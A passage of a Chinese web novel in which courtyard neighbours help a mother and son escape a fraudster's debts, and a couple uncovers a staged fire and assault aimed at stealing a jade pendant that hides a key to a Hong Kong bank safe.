夫妻两瞬间都对胡爱民提高了警惕，甚至开始怀疑这场火灾跟胡爱民有关。 但是他图啥呢？ 就在这时候，外头白保卫急匆匆赶了回来。 “怎么忽然就着火呢？”白保卫出门的时候，家里还好好的。 白兰跟许建北按捺住心里的疑惑，直接说道：“大哥，屋里你先进去看看有没有哪里需要修补的。东西有没有什么损失。” 白保卫立马点头，他家最宝贝的东西其实也有。但对其他人来说估计不怎么值钱。没跟白兰多说，白保卫就急哄哄进屋里去了。 而胡寡妇跟万大妈的打斗，也因为白保卫的出现暂时休战。万大妈伸手狠狠地把胡寡妇推到一边，麻溜儿就从地上跳了起来。 站在屋子外头就朝西厢耳房喊：“白家小子，看看你家里面有没有熏黑。该死的，都是西厢，怎么就胡家没着火。我家屋里都熏黑了。” 白兰这时候看向许建北，许建北摇头。表示白保卫家里没有多少熏黑的痕迹。 这可真是奇了怪了！ 两人都不是傻子，立马就想到了一个可能。但这个猜测又会带来新的疑问。 还是那句，到底图啥呢？ 第68章 第68章解决宁疙瘩 “房子没有怎么熏黑，起火的地方是隔壁万家。我这里倒像是被牵扯的。东西被翻了，但很奇怪，啥都没丢什么。” 中午，不少人听说大杂院火灾后，都蹭着午休的间隙，跑回来看看到底是怎么一回事。 万大妈家就不说了，白保卫居住的那间耳房被波及到，白家人都挺担心的。 这会儿听到白保卫的话后，白爸爸皱眉：“这是哪个瘪犊子，趁着火灾上门摸东西！” 上午白保卫已经把这个事儿先跟白兰夫妻说过了。这会儿见白爸爸这个表情，白兰却提出不一样的意见：“爸，我觉得事情没那么简单。这东西都被翻检过，居然啥都没丢。怎么看怎么奇怪。” 白妈妈在火灾发生的时候，刚好出门买菜。回来的时候才知道儿子住的地方着火了。现在听到闺女的话，跟着点头。 许建北：“这事儿肯定有问题。就是不知道是不是故意摸哥的门。而且，这看着不像偷东西，倒像是找东西。哥，你真没发现丢了啥东西” 白保卫再次摇头：“确实没丢东西。家里我也没放值钱的。钱票不是随身带着就是给妈拿着。其他值钱的东西我也没有。” “哎，今天也不知道是什么日子。”白妈妈忽然感叹出声。 白大姐也跟着点头。天知道，一回来听说宁家的事情，大家都无法相信。实在是太恶心人了。如果说她嫁的不是啥好人，那宁婶子嫁的简直不是人。 这样一想，白大姐都觉得自己还算幸运。 白兰不知道自家大姐的感慨。她也挂念着宁家事情的进展。不止她，这一个片区的人，在火灾的热闹过后，都对宁家的事情十分关切。大家都等着看宁疙瘩会被怎么处理。 这一等，直接等到太阳下山，这才知道了事情的进展。 —— “宁疙瘩到了公安局，直接跪下来磕头，让厂领导不要把事儿闹到坐牢的地步。” 消息是跟着去的秦叔带回来的。 这会儿太阳下山，周围很昏暗，就着各家昏黄的灯光，整个大杂院的后院挤满了来听消息的人。 “老秦，厂长那不会就这样把人给放过吧！” 秦叔摇头：“这事儿性质太恶劣了。厂长哪里可能轻轻放过。” 如果没有在大庭广众下露馅的话，厂里估计还会怕影响，把事儿给捂住。但宁疙瘩是在大伙儿眼前露馅的，不管领导怎么想，这个事儿就不能简单处理了。 “哎哟，这宁家母子可真是倒大霉。” 胡寡妇幸灾乐祸的声音在人群中响起。大伙儿听着都瞪了她一眼。 她的老对头万大妈倒是没有出来怒怼，因为家里今天着火，一屋子被熏黑了。这会儿万家正是愁云惨淡。 有人就着这机会，就嚷嚷起了火灾的事情。 “要不是这火灾及时，咱也不知道宁疙瘩居然是这样的垃圾。哎……” 一听这感叹，万大妈就很不爽。自家那鬼样子，要花不少力气才能恢复。也不知道哪个缺德冒烟的，让夹道那烧火。 “不行，你们别说宁家的事儿先。咱先说说夹道的火灾。院里不是有好几个抽烟的吗？是不是你们把烟屁股丢夹道，这才带来火灾的。” 万大妈说这话的时候气鼓鼓。觉得自家真是倒霉透了。同是西厢的房子，胡家屁事儿都没有。白保卫那虽然也被波及，但屋里没有被熏黑啊！ 这话题一扯，就又有人说起早上火灾那事儿。主要是这火灾火势小，浓烟大。 白兰听着这些人越扯越远，有点无奈地跟许建北对视一眼。 好在秦叔没有被带跑，听了几耳朵火灾的事情后，又继续说宁疙瘩的事情。 “人还在公安局关着，厂里会计在计算他这些年骗了厂里多少补贴跟医药费。” 这话一出，众人哗然。居然还真要追缴这些钱啊！ “那宁家母子不得赔死啊～” 是啊，白兰早就想过可能要清算这些。但现在从秦叔嘴里知道确定的消息，还是为大头感觉到麻烦。 钱是宁疙瘩骗的，而且他这些年吃喝拉撒都要好的，这些钱都没花到大头跟他妈身上。如果是后世，能想办法摆脱这样的关系。但现在的人都讲究父债子还。大头这个唯一的儿子，可不就倒大霉了吗？ 众人想到这里，也没了说笑的心思。主要是这结果对宁家母子太不公平了。 白兰看向角落处蹲着的大头，叹了口气。 —— “宁疙瘩的钱票我们母子这些年一分都没花过。” 就在大伙儿为大头母子俩可惜的时候，就听到宁婶子的声音传了出来。 这话是事实，都做了二十年邻居了，谁还不知道宁家的情况啊！ “咱要不一起联名，证明宁婶子跟大头这些年根本没花厂里给的赔偿款。甚至，每个月还得倒贴钱养着宁疙瘩。除了钱票，还有无形的劳动付出。” 白兰跟许建北商量起这个事情的可行性。 只要他们做证，证明宁疙瘩弄来的钱跟大头他们没有关系。那以后要怎么赔，都是宁疙瘩的事情了。 许建北当然同意这个要求，拉着白兰直接就跟秦叔这里商量起来。 秦叔一听觉得这个建议靠谱，刚想大声跟邻居们商量。又听到宁婶子高喊：“反正我马上就要跟宁疙瘩离婚。以后他的事情跟我们母子都没有任何关系！” 离婚两个字，院子的人都不陌生。毕竟白家大闺女离婚都还不到一年呢！只是宁婶子这样的中年女人，任劳任怨那么多年，忽然说要离婚，大伙儿都震惊了。 震惊过后，有人不赞同，有人却觉得是个好主意。 许建北见状，立刻暗示秦叔，把联名做证的事情说出来。 大伙儿一听，甭管心里怎么想的。一个个都拍着胸脯保证会作证。 于是，昏暗的灯光下，整座大杂院的住户都开始行动起来。挨个儿在秦叔写的证明材料上盖手指印。 可能他们这里动静闹大了，很快隔壁大杂院也有人跑过来看热闹。知道是为什么作证后，不少人跟着打手指印，表示要一起作证。 白兰见状，感叹这时候的人还是很热心的。 不止周围邻居，很快这事儿就一传十，十传百。到最后，这附近几条胡同的人，只要清楚宁家事情的，一个个都跑来作证。那张最开始用来写证词的纸张都被盖得一片红彤彤，最后还另外加了一张纸，这才把大家的手指印都给记录了下来。 送走了这些热心人，大伙儿开始感叹起来。 几个大妈、婶子拉着宁婶子的手臂，安慰她好人比较多。大伙儿不会看着她跟大头被宁疙瘩拖累的。 而大头这里，也被大杂院的年轻人围了起来。大伙儿一个个都说些安慰的话。这些话有些听着没什么用。但大头还是感觉心里暖呼呼的。 好人还是比较多的！虽然有个那样的爹，但大头发现自己能认识眼前这些好人，他还是幸运的。 接下来的事情就比较顺利了。 第二天一大早，秦叔带着那盖满手指印的证词，直接往公安那跑。宁婶子跟大头也跟着过去。两人这一趟主要是为了让宁疙瘩同意离婚。 离婚过后，宁疙瘩的事情就跟他们母子没有关系了。 白兰还有点担心这离婚会不会很难。但也不知道宁疙瘩是不是良心发现。总之，到了傍晚白兰就听说宁婶子跟宁疙瘩离婚了。 “以后，我跟小聪还会继续住在这里。我跟宁疙瘩离婚了，大伙儿以后喊我姚婶子、姚妹子。” 宁婶子在这边跟大伙儿说着离婚的事情。那边大头也在跟白兰他们交代今天遇到的事情。 “那垃圾本来不愿意离婚的。但厂领导直接发话，他怕会被判更长的时间，才不甘不愿地同意离婚。” 大头感叹了一句：“多亏了大伙儿的证词。厂里觉定不跟我们母子追缴那些钱。” 这算是这两天最好的消息。白兰松了 口气的同时，问起了厂里怎么决定。 “肯定要追缴那些年被骗的赔偿金。而且，估计过些天那垃圾就能被送去劳改了。” 至于那些钱怎么还，大头已经不想关注了。他跟他妈这将近二十年的时间里，居然一毛钱都没用过那垃圾的。想想真是好笑。 他妈这么多年不止努力工作赚钱，还把那垃圾照顾得那么好。现在想想，大头真觉得这样的男人还不如没有。如果早早出事的时候就挂墙上，说不定他家的日子过得会比现在好一百倍。 白兰不知道大头心里的活动。不过也没去打搅他平复心情。 宁家的事情算是暂时告一段落。但是那天的火灾一直没有进展。大伙儿的注意力都被宁疙瘩的事儿给吸引住了。也不知道这算不算另类的转移视线。 白兰并不相信火灾是简单的意外。对比白保卫跟万大妈家，就知道事情有古怪。一定是有人放火，趁着救火的功夫去白保卫那偷东西。但白保卫确信没有被偷任何东西。 所以，小偷想要的东西还没得手。那么就一定会再次出手。 就是不知道什么时候而已。 这样一想，白兰看向今天因为放假，直接跟自家爸一起收拾家里瓦片的白保卫。 “怎么呢？” 白妈妈见小闺女一直盯着在捡瓦片的父子两，好笑地拍了拍她的肩膀。 “家里有了你哥，你爸这捡个瓦片也能捡出乐子来。” 马上就是难得的夏季雨水天气。这家里的瓦片都要提前检查一遍。防止真下雨了，家里漏水。 以往都是自家爸一个人搞的。今年来了大哥，爸自然高兴。 白兰就这样抬头看着笑眯眯的老爹，跟欢快的大哥。早上的太阳不算太大，但已经有点刺眼了。 伸手挡了挡阳光，白兰忽然发现了有个什么东西，从自家大哥脖子滑了出来。 第69章 第69章有办法 “搞出那么大动静，东西居然都没到手！”不耐烦的声音在不大的屋子里传出：“你这是什么猪脑子？” 胡爱民耸拉着脑袋盯着说话的祝城，表情十分难看。要不是对方给了他一百块，他还不乐意帮忙呢！ 胡爱花看出了大哥的不乐意，忍不住劝道：“城哥，这次大哥已经尽力了。谁知道会出宁家这个事情！” 祝城一听这话，气不打一处来。他也搞不懂为什么事情那么不顺利。 本来想趁着上班时间，大杂院没什么人，特意弄个假的火灾，让胡爱民去翻白保卫的屋子。看看能不能找到东西。结果好了，那个叫什么宁疙瘩的，居然把纺织厂那么多人都给招来了。后头还把那一片胡同的人也个招来了。 那么多人碰上火灾，一个个动手去救火，不费多少功夫这火就灭了。胡爱民根本没多少时间翻找东西。 这么好的机会就因为这破事儿，白白给浪费了。 越想祝城就越不爽。 这头胡爱花在给胡爱民说好话，那头胡爱民可受不得委屈。见祝城还在那黑着脸瞪他。他也不奉陪了，拍拍屁股就从座位上跳起来：“我可不管东西找没找到。反正火放了，屋子翻了，东西没找到不是我的问题。那一百块我可不退你！” 说完，胡爱民头也不回就跑了。心里琢磨着这一百块要怎么花。这样的好事要是天天来就好了。话又说回来，也不知道祝城要的那东西，到底有什么用。 —— “这东西啊！” 大杂院白家堂屋里，白兰也在问白保卫他脖子上的那个坠子。 白保卫把坠子又从衣服里面抽出来瞅了两眼，失笑摇头：“这是我从小带身上的。方家奶奶给我的。在离开海城的时候，我跟方爸爸提过要还给方家。不过方爸爸说这是方奶奶给我保平安的。继续留着以后给孩子。” 白兰看着方保卫手心的那个坠子。是普普通通的白玉观音坠子。既不是小说常见的什么帝王绿翡翠材质，也不是什么顶级羊脂白玉。看玉质再过二十年估计值几十万。但在这年头，这东西的确不值钱。 所以，那场火灾到底跟这个坠子有没有关系？表面上看好像没有，但白兰的直觉告诉她，这东西应该跟那场火有关系！ 许建北见白兰若有所思的模样，就知道他们夫妻想到一块儿了。叹了口气，许建北说道：“哥，这东西你最好跟方厂长打听一下是不是有什么特别的地方。我总觉得那场火跟它有关系。” 这话一出，直接把方保卫从回忆中拉了回来。他皱眉，心想这东西从他出生的时候就带着了。并没有什么特别的地方。许建北的话让他想摇头，但心里隐隐有个声音告诉他，两者之间一定有关系！ 许建北见对方听进去了，继续道：“反正最近出入小心点，先摸清楚这坠子是不是有什么来历。” 没有来历的话，那么放火人的目标可能就是别的什么东西。不过这个几率几乎可以说是零。 —— 吃过午饭又睡了个午觉醒来后，白兰跟许建北就准备去外头买点东西。 两人刚从屋里走出，迎面就看到胡爱民带着一身酒气回来了。 大白天就喝得醉醺醺的，立马就让好几个大爷大妈皱眉。 “他这个样儿看得人真不爽。” 白兰难得的吐槽让许建北嘴角微微勾起：“反正不管他有什么目的，一次不成功，下一次也会继续出手的。” 两人边走边聊，各自都对接下来的事情有了些推测。 他们也没走太远，准备去百货商店买点夏天做衣服的料子。 不过今天注定不是一个普通的日子。这百货商店还没走到呢，半道上就看到白苹跟祝城两人走到一块。严格来说，这两人保持着大概一米多的社交距离。但两人的动作是边走边说，嘴巴一直动个不停。 时不时手还会挥动两下，一看这肢体语言，就能猜到在说什么激动的事情。 白兰跟许建北对视一眼，两人立马就有了些想法。但他们也不是顺风耳，并不能听清楚这两个说话的内容。 这会儿白苹可不知道白兰跟许建北就在她身后不远的地方。她正忙着数落祝城。 “东西是你们想要的，我不过是好心想帮个忙。你们自个儿没用，没找到东西，跟我有什么关系！” 祝城听着这话冷笑一声：“你也别想撇清关系。这可是方家的东西。你是方家的女儿，怎么可能不想要那东西。” 白苹：“东西就是拿到了，那也轮不到我啊！不然你跟大嫂怎么那么积极。大哥这是不想要那东西了吗？” 祝城：“别在这东拉西扯的。你是白家的养女，虽然你们撕破脸了。但你回去求求他们就能修复关系。等关系修复好了，什么东西不能弄来。” 最后这句话说出来的时候，白兰跟许建北正好距离他们近了不少。把内容听了个正着。 因为这话，白兰跟许建北确定他们要找的东西就是那个坠子。 这可真是奇了怪了。 夫妻两人也没耽搁，当下不买布料了，急匆匆就往家里赶，准备让白保卫赶紧跟方厂长打听清楚那坠子的来历。 —— 白保卫这头也没掉链子。听说了坠子的事情后，立马就给方厂长那边打了电话。结果却出乎白兰他们的预料。方厂长是知道有这个坠子，但并不知道这坠子的来历。 “东西是你奶在外头捡回来的。之前的主人是谁我也不知道。咱家往上数三代都是贫苦人家。可没什么金啊玉的。这东西不怎么稀罕，你奶给你的就是你的。反正我这边是不会收回去的。” 这时候的电话隔音不咋滴。反正白兰在边上听得一清二楚。再次感叹一声方厂长的为人处世还挺不错的。就是当年给钱春云霍霍了。 放下电话，白保卫摸了摸已经藏进衣服里面的坠子叹气。这东西他从小带到大，有权利要回去的方爸不要。那 这东西他不愿意再让给旁人。所以谁要来抢他的东西，他不会客气。 许建北拍了拍大舅子的肩膀：“这事儿我们也会帮你查查的。不过既然来历都不清楚，那就只能等那边的人动手了。” 白苹、祝城、胡爱民、方大嫂甚至是方保国。这些人因为姻亲关系牵扯到了一起。他们又想要那坠子。说明这东西一定有什么用途。而且是特别重要的用途，才能让他们铤而走险。 想到这里，白兰跟许建北同时眼前一亮。 有办法查了～ 【完结】 第70章 第70章日子越过越好…… 虽然对自己夫妻两想出来的办法很有信心，但白兰跟许建北也没想到，事情的进展居然会那么顺利。而且结果出乎意料。 事情还得从那个坠子说起。 知道胡爱民的目标是坠子，对方又不惜成本搞出火灾这样的事情来弄坠子，说明这东西特别特别重要。所以白兰跟许建北决定引蛇出洞。直接让白保卫跟着大杂院的小年轻一起上澡堂洗澡。洗澡的事情，让胡爱民看到坠子就在白保卫身上。 这一招最大的作用，就是让胡爱民确定东西在白保卫身上。接下来事情就简单了。 澡堂事情三天后的一个傍晚，白保卫在下班回家的途中被人从身后袭击，差点头破血流。好在提前做好了部署，当场就把人给逮住了。 逮住的人除了动手的胡爱民，还有跟着过来帮忙的祝城。 人逮住了，许建北带人直接送到公安那去了。 “我是真没想到他们敢那么狠……” 许建北跟白保卫一回来，立刻聚到白家屋里，水都没来得及喝上一口，就忍不住骂了两句。 白兰也在第一时间知道了事情的经过，觉得事情肯定没那么简单。敢这样下狠手，说明其中的利益肯定很大。 “白苹会被供出来吗？”虽然没有什么证据，但白兰知道白苹肯定牵扯其中。 “就看公安那边的侦察结果了。” 这一次的引蛇出洞，许建北这边早就找人通气了。现在把胡爱民跟祝城逮住，后头应该能有大收获。 就在他们说话的时候，院子里响起了胡寡妇尖叫声。傍晚时分是大伙儿下班吃饭的点。立马院子里就挤满了人。 胡寡妇就跟看不到似的，直接就朝白家这边冲了过来。 白兰他们都在堂屋坐着，自然看到了胡寡妇的动作。白兰很生气，知道胡寡妇这是来兴师问罪了。毕竟刚刚逮胡爱民他们的动静那么大，铁定是有人看到的。 不过不等白兰动作，她妈跟大姐已经不客气地直接把门给关上了。 胡寡妇的鼻子差点都被门给碰上，这让她更加火大，直接就在白家门口拍大腿叫骂起来。 邻居们都不知道发生什么事情，一个个都好奇地劝说起来。也有人跟着拍白家的门，让他们出来好好说话，不要把邻里关系闹得这么僵硬。 屋里，许建北说道：“具体情况咱也不说。但胡爱民想在背后给哥敲闷棍儿，这事儿得掰扯清楚。” 白保卫随即点头：“我是受害者，事情我去说。我就不信胡寡妇敢作妖。胡爱民之前敢放火，现在又敢敲闷棍，铁定是收了天大的好处。这事儿胡寡妇不会不知道的。” 说着，白保卫直接把屋门打开。 凄厉的叫声再次钻入白兰的耳朵里。白兰皱眉，看着邻居们的表情，知道事情是要掰扯清楚。不然怕不知道胡寡妇还要怎么歪缠。 而秦艳这时候也凑过来问白兰到底出了什么事情。 今天逮人，大头有帮忙参与。这会儿白兰也不瞒着秦艳，三言两语就把事情的大概说了。不过把坠子的事情隐瞒了下来。 这时候，院子的众人也把事情的经过听完了。顿时一个个都发出不可置信的声音。 “知道胡爱民不是个能干的。但咋就敢动手敲人闷棍呢？而且敲的还是同一个院儿的小伙子。” “嘿，铁定是胡寡妇这上梁不正。”万大妈在边上嘀咕起来。 胡寡妇听到后，顿时就朝万大妈动起手来。 刚白保卫这一通解释，胡寡妇就立刻心虚不敢说话。因为事情她是知道的。但她没想到就是弄个坠子而已。怎么就发展到敲闷棍儿呢？动手就算了，居然还被人逮了个正着。 这会儿心里正是慌乱，不知道该怎么救自己唯一的宝贝儿子呢。结果万大妈这一跳出来，立马就成了胡寡妇现成的出气筒。 于是，两人自然就打了起来。 这个走向是白兰没想到的。明明胡寡妇是来找白家的晦气，怎么这会儿就跟万大妈打起来。 白兰忍不住嘴角抽了抽，跟许建北对视一眼，夫妻两人都觉得挺荒谬的。 这一晚，整个大杂院甚至胡同都为这个事情而热闹起来。 —— 公安同志那边的动作也很快。第二天下午就传来了消息。 白兰刚好下班回家，就听说了白苹被抓的消息。消息是从钢铁厂传出来的。听说公安同志下午的时候，直接在钢铁厂厂长家把白苹带走。 钢铁厂家属院那么多住户，事情立马就跟长了翅膀一样传开了。 听到白苹被带走，白兰松了口气。 大杂院的邻居们听说后，一个个都好奇事情怎么就跟白苹扯上关系。 晚上白兰跟许建北躺床上的时候，依然在讨论坠子到底是个什么来头。 而这个秘密很快白兰就知晓了。 —— 依然是一个梦。梦里白兰看到了原剧中坠子的来龙去脉。 原短剧里面，白保卫并没有回归到白家。但是觊觎坠子的祝城依然通过方大嫂，把坠子从白保卫那偷了过来。白保卫是很失落的。但东西是在家里就丢了，找也找不回来，暗自失落过后就放开了。 而拿到坠子的祝城也没立刻行动，而是安静下来等待时机。这一等就等到了可以运动结束，市场开放。市场开放了，自然就能不动声色地走出国门。 这时候坠子的作用终于体现了。 白兰看着梦中的祝城拿着那个坠子。准确来说，这时候的坠子已经不是坠子。而是被敲掉了表面一层玉质，变为一把精致小巧的金钥匙。 祝城带着这把金钥匙去到了港城的一家外资银行，打开了一个尘封多年的保险柜，等到了里面的古董字画跟金银珠宝。 没错，这个保险柜是当年战乱时候，海城一个大资本家安置的。只要凭借那把金钥匙，就能继承保险柜里面的东西。之所以这样设置，就是为了防止自己出意外，子孙后代能拿到这笔财富东山再起。 但这资本家运气不好，还没逃离海城就被人杀了。来不及交代金钥匙的事情。那时候的金钥匙已经被处理过，变为一枚平平无奇的白玉坠子。 坠子辗转几回，机缘巧合之下被白保卫的奶奶得到，最后给到他手上。 至于祝城为什么会知道这个事情？那是因为他在海城工作的时候，就接 触到了这个大资本家的手札。里面只言片语提过了一下坠子。 他在白家的时候，就看过白保卫身上有这么一个符合描述的坠子。 不等他想办法把坠子拿到手，这辈子的白保卫身世就曝光，跟着白兰夫妻两来到了北城。 祝城就这样错过了坠子。他当然不甘心。只能咬牙跟着跑到北城，寻找再次下手的机会。 就连跟胡爱花结婚，也是为了更好地弄到坠子。当然，在筹备结婚的时候，祝城认识了白苹。见白苹同样觊觎那个坠子。想了想就跟她合作，好歹白苹跟白保卫也有不小的渊源。 白兰看着梦中展示出来的场景，简直不知道要说啥好。 白苹肯定是通过也是做梦得到了上辈子的某些记忆。不然不会知道这个神奇坠子的来历。 如果白苹不跟祝城搅合到一起，说不定还真能被她得手。毕竟再怎么防备，白苹去偷坠子成功的几率，其实比胡爱民要高不少。 —— 一觉醒来过后，白兰人还有点愣愣的。 许建北见媳妇这副模样，还以为是她肚子的孩子闹腾呢。白兰赶紧道：“我做了个梦。” 因为坠子背后的事情太过离奇，白兰觉得还是跟许建北说一说比较好。 这个坠子已经不是秘密了。白苹跟祝城都被抓了。这两人都不是那种抱着宁死不屈的。说不定很快就会把坠子的秘密说出来。所以，这个坠子说不定还得上交。 不过那保险柜本来就不属于他们，所以要上交的话也没什么。 果然，许建北听完后觉得匪夷所思。但立马着手去调查这个事情。从公安那边是探听不到消息的。但海城的大资本家铁定是有名有姓的。只要往那边查一查，总能查到点什么。 这头许建北很快就有了收获。多少知道了一些消息。 与此同时，白保卫再一次被公安同志找上门。这一次把坠子给上交了。 回到家里，他把事情一说，家里人都觉得很神奇。 “反正那什么保险柜我是不去想的。公安同志说了，会找厉害的大师傅，在不破坏坠子的情况下，把里面包裹的东西拿走。到时候这个坠子就能还给我。” 这个是很好结果。全家人都觉得自家不缺钱，这种天降横财，家里人接了都觉得烫手。让国家接手，那才再好不过。 事情到了这里算是有了结果。期间胡寡妇闹腾了几次也不敢再蹦跶。毕竟里面牵扯到的事情太过重要。已经不是胡寡妇能解决的。 胡爱民最后因为纵火跟意图伤人抢劫，被送到边疆农场进行20年的劳动改造。 白苹虽然参与其中，但因为不是主谋，最后只判了3年的劳动改造。饶是这样，宋厂长家也不会原谅她。在判决出来后，立马就找关系跟白苹离婚了。 远在海城的方大嫂，也是同样的结局。 至于主谋祝城，跟胡爱民送到了同一个农场劳动改造。不过时间却是30年。 这些个判决自然又是引发了一轮热议。白家所在的胡同更是人来人往。不少人都过来打听白苹跟胡爱民。特别是胡爱民敢做出放火抢劫这样的事情，在这时候还是十分惊悚骇人的。 反倒是白苹这个同谋，因为坠子涉及到了一大批财物，对外并没有公布这个事情。所以大伙儿虽然觉得白苹一个女同志也参与其中。但注意力都放在胡爱民身上。 这可让胡寡妇再也不敢走街串巷说人是非了。只要出门就会被人抓着问胡爱民的事情。 至于胡爱花，在得知祝城跟她结婚的目的，以及祝城判决结果出来后，麻溜儿就跟祝城离婚划清界限，直接会娘家了。工作也因为胡爱民跟祝城的影响丢掉了。 要不是还有胡寡妇男人每个月的赔偿金，怕这母女两都要断顿了。 这让胡寡妇心里对主谋祝城、白苹充满了怨恨。祝城要劳改40年，胡寡妇是等不到报仇了。但白苹不是啊！白苹这才劳改3年，很快就能出来。 胡寡妇就抱着这样的心理，咬牙坚持下来。3年后白苹一被放出来，胡寡妇立马就找到她，天天上门找她的茬。 这些都是后话了。 反正自从这些个人被抓后，白兰就发现生活变得安静了不少。正好外头的人还爱来他们大杂院这边打听消息。白兰跟许建北索性暂时搬回了厂里，继续上班养胎过平静的日子。 又过了好几个月，孩子平安出生。这时候坠子引发的风波也平息了下来。夫妻两再次返回大杂院。 春去秋来，先是运动结束了。再之后高考来临。白兰看着自家娃儿，看着周围听说高考重启后就激动万分的人，心里也一阵激荡。 好日子马上就要来临了。 刚好出门寻摸房子的许建北兴匆匆跑回来。一边跟白兰高兴高考要重启了。一边跟白兰说找到了一套一进的小四合院。正好适合他们一家四口居住，就在距离大杂院大概十分钟的路程。 白兰听到这个消息，特别高兴。高考来了，马上新房子要有了。她相信以后的日子会越过越好！